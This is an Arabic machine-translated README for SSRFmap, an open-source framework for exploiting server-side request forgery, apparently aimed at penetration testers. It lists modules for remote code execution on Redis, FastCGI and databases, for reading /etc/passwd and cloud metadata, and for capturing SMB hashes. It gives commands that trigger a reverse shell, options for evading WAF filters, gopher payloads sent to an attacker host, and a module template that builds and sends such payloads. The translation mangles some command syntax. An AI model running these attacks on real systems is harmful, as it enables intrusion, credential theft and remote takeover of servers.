غالبًا ما يتم استخدام SSRF للاستفادة من الإجراءات على الخدمات الأخرى، ويهدف هذا الإطار إلى العثور على هذه الخدمات واستغلالها بسهولة. يأخذ SSRFmap ملف طلب Burp كمدخل ومعلمة للتشويش.
تزوير طلب جانب الخادم أو SSRF عبارة عن ثغرة أمنية حيث يجبر المهاجم الخادم على تنفيذ الطلبات نيابة عنه.
تم بالفعل تنفيذ الوحدات التالية ويمكن استخدامها مع الوسيطة -m
.
اسم | وصف |
---|---|
axfr | عمليات نقل منطقة DNS (AXFR) |
fastcgi | FastCGI RCE |
redis | ريديس آر سي إي |
github | جيثب إنتربرايز آر سي إي <2.8.7 |
zabbix | زابيكس آر سي إي |
mysql | تنفيذ أوامر MySQL |
postgres | تنفيذ أمر Postgres |
docker | Docker Infoleaks عبر API |
smtp | إرسال بريد SMTP |
portscan | مسح أعلى 8000 منفذ للمضيف |
networkscan | HTTP بينغ الاجتياح عبر الشبكة |
readfiles | قراءة الملفات مثل /etc/passwd |
alibaba | قراءة الملفات من الموفر (على سبيل المثال: البيانات الوصفية، بيانات المستخدم) |
aws | قراءة الملفات من الموفر (على سبيل المثال: البيانات الوصفية، بيانات المستخدم) |
gce | قراءة الملفات من الموفر (على سبيل المثال: البيانات الوصفية، بيانات المستخدم) |
digitalocean | قراءة الملفات من الموفر (على سبيل المثال: البيانات الوصفية، بيانات المستخدم) |
socksproxy | وكيل SOCKS4 |
smbhash | فرض مصادقة SMB عبر مسار UNC |
tomcat | هجوم Bruteforce ضد مدير Tomcat |
custom | إرسال بيانات مخصصة إلى خدمة استماع، على سبيل المثال: netcat |
memcache | تخزين البيانات داخل مثيل memcache |
من مستودع جيثب.
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ cd SSRFmap /
$ pip3 install - r requirements.txt
$ python3 ssrfmap.py
usage: ssrfmap.py [ - h ] [ - r REQFILE ] [ - p PARAM ] [ - m MODULES ] [ - l HANDLER ]
[ - v [ VERBOSE ]] [ -- lhost LHOST ] [ -- lport LPORT ]
[ -- uagent USERAGENT ] [ -- ssl [ SSL ]] [ -- level [ LEVEL ]]
optional arguments:
- h , -- help show this help message and exit
- r REQFILE SSRF Request file
- p PARAM SSRF Parameter to target
- m MODULES SSRF Modules to enable
- l HANDLER Start an handler for a reverse shell
- v [ VERBOSE ] Enable verbosity
-- lhost LHOST LHOST reverse shell or IP to target in the network
-- lport LPORT LPORT reverse shell or port to target in the network
-- uagent USERAGENT User Agent to use
-- ssl [ SSL ] Use HTTPS without verification
-- proxy PROXY Use HTTP(s) proxy (ex: http: // localhost: 8080 )
-- level [ LEVEL ] Level of test to perform ( 1 - 5 , default : 1 )
عامل ميناء
$ git clone https: // github.com / swisskyrepo / SSRFmap
$ docker build -- no - cache - t ssrfmap .
$ docker run - it ssrfmap ssrfmap.py [ OPTIONS ]
$ docker run - it - v $ (pwd): / usr / src / app ssrfmap ssrfmap.py
أولاً، تحتاج إلى طلب بمعلمة للتشويش، وتعمل طلبات Burp بشكل جيد مع SSRFmap. يجب أن تبدو كما يلي. تتوفر المزيد من الأمثلة في المجلد ./examples .
POST / ssrf HTTP / 1.1
Host: 127.0 . 0.1 : 5000
User - Agent: Mozilla / 5.0 (X11; Linux x86_64; rv: 62.0 ) Gecko / 20100101 Firefox / 62.0
Accept: text / html , application / xhtml + xml , application / xml;q = 0.9 , */* ;q = 0.8
Accept - Language: en - US , en;q = 0.5
Accept - Encoding: gzip , deflate
Referer: http: // mysimple.ssrf /
Content - Type: application / x - www - form - urlencoded
Content - Length: 31
Connection: close
Upgrade - Insecure - Requests: 1
url = https % 3A % 2F % 2Fwww.google.fr
استخدم -m
متبوعًا باسم الوحدة (مفصولاً بـ ,
إذا كنت تريد تشغيل عدة وحدات).
# Launch a portscan on localhost and read default files
python ssrfmap.py - r examples / request.txt - p url - m readfiles , portscan
إذا كنت تريد الإدخال داخل رأس أو معلمة GET أو POST، فأنت تحتاج فقط إلى تحديد اسم المعلمة
python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / tmp / test
إذا كنت بحاجة إلى وكيل مستخدم مخصص، فاستخدم --uagent
. ستستخدم بعض الأهداف HTTPS، ويمكنك تمكينه باستخدام --ssl
.
# Launch a portscan against an HTTPS endpoint using a custom user-agent
python ssrfmap.py - r examples / request.txt - p url - m portscan -- ssl -- uagent " SSRFmapAgent "
تسمح لك بعض الوحدات بإنشاء اتصال مرة أخرى، ويجب عليك تحديد LHOST
و LPORT
. يمكن أيضًا لـ SSRFmap الاستماع إلى الصدفة العكسية الواردة.
# Triggering a reverse shell on a Redis
python ssrfmap.py - r examples / request.txt - p url - m redis -- lhost = 127.0 . 0.1 -- lport = 4242 - l 4242
# -l create a listener for reverse shell on the specified port
# --lhost and --lport work like in Metasploit, these values are used to create a reverse shell payload
عندما يكون الهدف محميًا بواسطة WAF أو بعض المرشحات، يمكنك تجربة نطاق واسع من الحمولات والتشفير باستخدام المعلمة --level
.
# --level : ability to tweak payloads in order to bypass some IDS/WAF. e.g: 127.0.0.1 -> [::] -> 0000: -> ...
يمكن إجراء طريقة سريعة لاختبار إطار العمل باستخدام خدمة data/example.py
SSRF.
محلي
FLASK_APP = examples / example.py flask run &
python ssrfmap.py - r examples / request.txt - p url - m readfiles
عامل ميناء
docker build -- no - cache - t ssrfmap .
# run example ssrf http service
docker run - it - v $ (pwd): / usr / src / app -- name example ssrfmap examples / example.py
# run example ssrf dns service
docker exec - u root:root - it example python examples / ssrf_dns.py
# run ssrfmap tool
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles
إطلاق طلبات الاختبارات:
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request2.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request4.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request5.txt - p url - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request6.txt - p X - Custom - Header - m readfiles -- rfiles / etc / issue
docker exec - it example python ssrfmap.py - r examples / request.txt - p url - m axfr
docker exec - it example python ssrfmap.py - r examples / request3.txt - p url - m axfr -- lhost 127.0 . 0.1 -- lport 53 -- ldomain example.lab
أقوم بسحب الطلبات :) لا تتردد في إضافة أي ميزة مدرجة أدناه أو خدمة جديدة.
gopher: // < proxyserver > : 8080 / _GET http: // < attacker: 80 > / x HTTP / 1.1 % 0A % 0A
gopher: // < proxyserver > : 8080 / _POST % 20http: // < attacker > : 80 / x % 20HTTP / 1.1 % 0ACookie: % 20eatme % 0A % 0AI + am + a + post + body
التعليمة البرمجية التالية هي قالب إذا كنت ترغب في إضافة وحدة تتفاعل مع الخدمة.
from core . utils import *
import logging
name = "servicename in lowercase"
description = "ServiceName RCE - What does it do"
author = "Name or pseudo of the author"
documentation = [ "http://link_to_a_research" , "http://another_link" ]
class exploit ():
SERVER_HOST = "127.0.0.1"
SERVER_PORT = "4242"
def __init__ ( self , requester , args ):
logging . info ( "Module '{}' launched !" . format ( name ))
# Handle args for reverse shell
if args . lhost == None : self . SERVER_HOST = input ( "Server Host:" )
else : self . SERVER_HOST = args . lhost
if args . lport == None : self . SERVER_PORT = input ( "Server Port:" )
else : self . SERVER_PORT = args . lport
# Data for the service
# Using a generator to create the host list
# Edit the following ip if you need to target something else
gen_host = gen_ip_list ( "127.0.0.1" , args . level )
for ip in gen_host :
port = "6379"
data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
payload = wrapper_gopher ( data , ip , port )
# Handle args for reverse shell
payload = payload . replace ( "SERVER_HOST" , self . SERVER_HOST )
payload = payload . replace ( "SERVER_PORT" , self . SERVER_PORT )
# Send the payload
r = requester . do_request ( args . param , payload )
يمكنك أيضًا المساهمة باستخدام IRL للبيرة أو عبر زر Github Sponsor.